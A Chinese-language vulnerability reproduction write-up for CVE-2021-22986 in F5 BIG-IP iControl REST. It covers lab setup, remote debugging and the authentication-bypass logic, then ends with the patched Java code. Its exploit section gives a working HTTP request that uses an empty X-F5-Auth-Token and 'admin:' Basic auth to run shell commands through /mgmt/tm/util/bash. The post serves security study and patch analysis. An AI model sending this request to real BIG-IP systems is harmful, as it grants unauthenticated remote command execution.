0x00 前言
这是去年的漏洞了,今天又出了,好久没有做复现了,看看一逻辑
漏洞描述
F5 BIG-IP
在2021
年3
月补丁日中修复了 CVE-2021-22986
,未经身份验证的攻击者可以向 iControl REST
发送精心构造的恶意请求,最终在目标服务器上执行任意命令。
影响版本
1 2 3 4 5 6 7 8
| BIG-IP (全部模块) v16.0.0-16.0.1 BIG-IP (全部模块) v15.1.0-15.1.2 BIG-IP (全部模块) v14.1.0-14.1.3.1 BIG-IP (全部模块) v13.1.0-13.1.3.5 BIG-IP (全部模块) v12.1.0-12.1.5.2 BIG-IQ v7.1.0-7.1.0.2 BIG-IQ v7.0.0-7.0.0.1 BIG-IQ v6.0.0-6.1.0
|
0x01 环境搭建
这里使用的是
BIGIP-16.0.0-0.0.12.ALL-vmware.ova
官方下载地址,需要注册
https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v16.x&ver=16.0.0
获取使用激活码地址
https://www.f5.com.cn/trials/big-ip-virtual-edition
这里注意的是,在正常情况下
点了如下页面的时候,会出来一个协议

接下来就是下载软件的地方了,可以用迅雷下载日本那个链接
但是在某些情况下
点了上面的,获取虚拟版之后,会出现如下错误

别人都是一次成功的,我这搞了三个账号才成,不过终归是能用了
软件安装
直接用VM,文件-》打开ova文件即可

默认的账号密码是root/default
登录之后会让改密码,需要是一个强密码

然后config配置网络

我看了一下,他这里默认是桥接模式,正常情况下会获取到ip

然后再浏览器直接访问https://ip
然后也不用去配置ssh什么的
使用Xshell
,选择最下面的,使用键盘输入用户身份验证

激活
登陆客户端admin/高才虚拟机修改的密码
第一次邓旭要求强制改密码

登陆之后点击

根据密钥选择手动激活即可


在服务端

最后获得许可证


这里复现漏洞的话,不激活应该也没事
0x02 环境
接下来根据别人的操作,也先去看看环境

这里的apache就是代理的作用
apache的配置文件在/config/httpd/conf/httpd.conf

这里可以注意到两点:
- AuthPAM开启,说明调用了httpd的某个
.so
文件进行预先的认证
- 将所有向
/mgmt
发送的请求都转发到了 http://localhost:8100/mgmt/
通过阅读官方文档,我们可以知道所有REST API的目录前缀都是含有 mgmt
的,
所以可以看一下8100端口的服务及其进程信息是什么:

这里原文是为了远程调试的
查看运行目录

配置文件

远程调试
远程支持
1
| -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6001
|

./resthavad
重新加载服务

使用tmsh放行6001端口
1 2 3
| tmsh security firewall modify management-ip-rules rules add { allow-access-6001 { action accept destination { ports add { 6001 } } ip-protocol tcp place-before first } }
|

然后就可以看到端口就打开了,仅打开这一次启动,重启之后就关了

然后在idea配置如下,记得修改jvm版本,我这里忘改了,导致下面半天到不了断点


其实这样就可以了,但是还是不一定能断掉,解码出来的东西乱呼呼的,别改格式,直接用就成

0x03 代码分析
这里不说ssrf
获取token
的问题,详见安全客文章
认证流程
三种认证方式
cookie
Authorization
X-F5-Auth-Token
这里用到后面两种,
- 其中
Authorization
是在apache
加载的so
文件种认证的
X-F5-Auth-Token
是在java
代码种认证的
这里面存在一个问题就是,后端不会对apache
认证过的做二次认证
其中在so
文件中如果检测到了请求头X-F5-Auth-Token
,则会直接发往后端,详见斗象安全研究
我们可以看一下异同
没有请求头时,返回的apache的401

存在请求头时,返回的是后端的请求头,具体的执行流程可以看上面的安全客文章
还有个关于监听器的文档官方文档
这里存在的关键点是,在执行之前,会设置我们的身份

而此时,如果我们传入的X-F5-Auth-Token
为空,则会通过Authorization
设置我们的身份
而我们的身份是可以传入的
就是header
的值解码后冒号前面的部分

然后在执行方法的时候,验证的权限就是在isDefaultAdminRef
方法种,当然上面也有跳出去的方式,后面看看

这大概就是验证的流程了
0x04 漏洞复现
1 2 3 4 5 6 7 8 9
| POST /mgmt/tm/util/bash HTTP/1.1 Host: 192.168.0.68 X-F5-Auth-Token: Authorization: Basic YWRtaW46
{ "command": "run", "utilCmdArgs": "-c id" }
|

0x05 漏洞修复
- apache会验证
X-F5-Auth-Token
是否为空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) return false; final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host"); if (xForwardedHostHeaderValue == null) { request.setIdentityData(components.userName, null, null); if (runnable != null) runnable.run(); return true; } String[] valueList = xForwardedHostHeaderValue.split(", "); int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0; if (valueList[valueIdx].contains("localhost") || valueList[valueIdx] .contains("127.0.0.1")) { request.setIdentityData(components.userName, null, null); if (runnable != null) runnable.run(); return true; } if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) { request.setIdentityData(components.userName, null, null); if (runnable != null) runnable.run(); return true; } boolean isPasswordExpired = (request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true")); if (!PasswordUtil.isPasswordReset().booleanValue() || isPasswordExpired) { request.setIdentityData(components.userName, null, null); if (runnable != null) runnable.run(); return true; } AuthProviderLoginState loginState = new AuthProviderLoginState(); loginState.username = components.userName; loginState.password = components.password; loginState.address = request.getRemoteSender(); RestRequestCompletion authCompletion = new RestRequestCompletion() { public void completed(RestOperation subRequest) { request.setIdentityData(components.userName, null, null); if (runnable != null) runnable.run(); } public void failed(Exception ex, RestOperation subRequest) { RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[] { ex.getMessage() }); if (ex.getMessage().contains("Password expired")) request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION)); if (runnable != null) runnable.run(); } }; try { RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null)).setCompletion(authCompletion); RestRequestSender.sendPost(subRequest); } catch (URISyntaxException e) { LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[] { e.getMessage() }); } return true; }
|
这种方式依然存在绕过,所以就有了CVE-2022-1388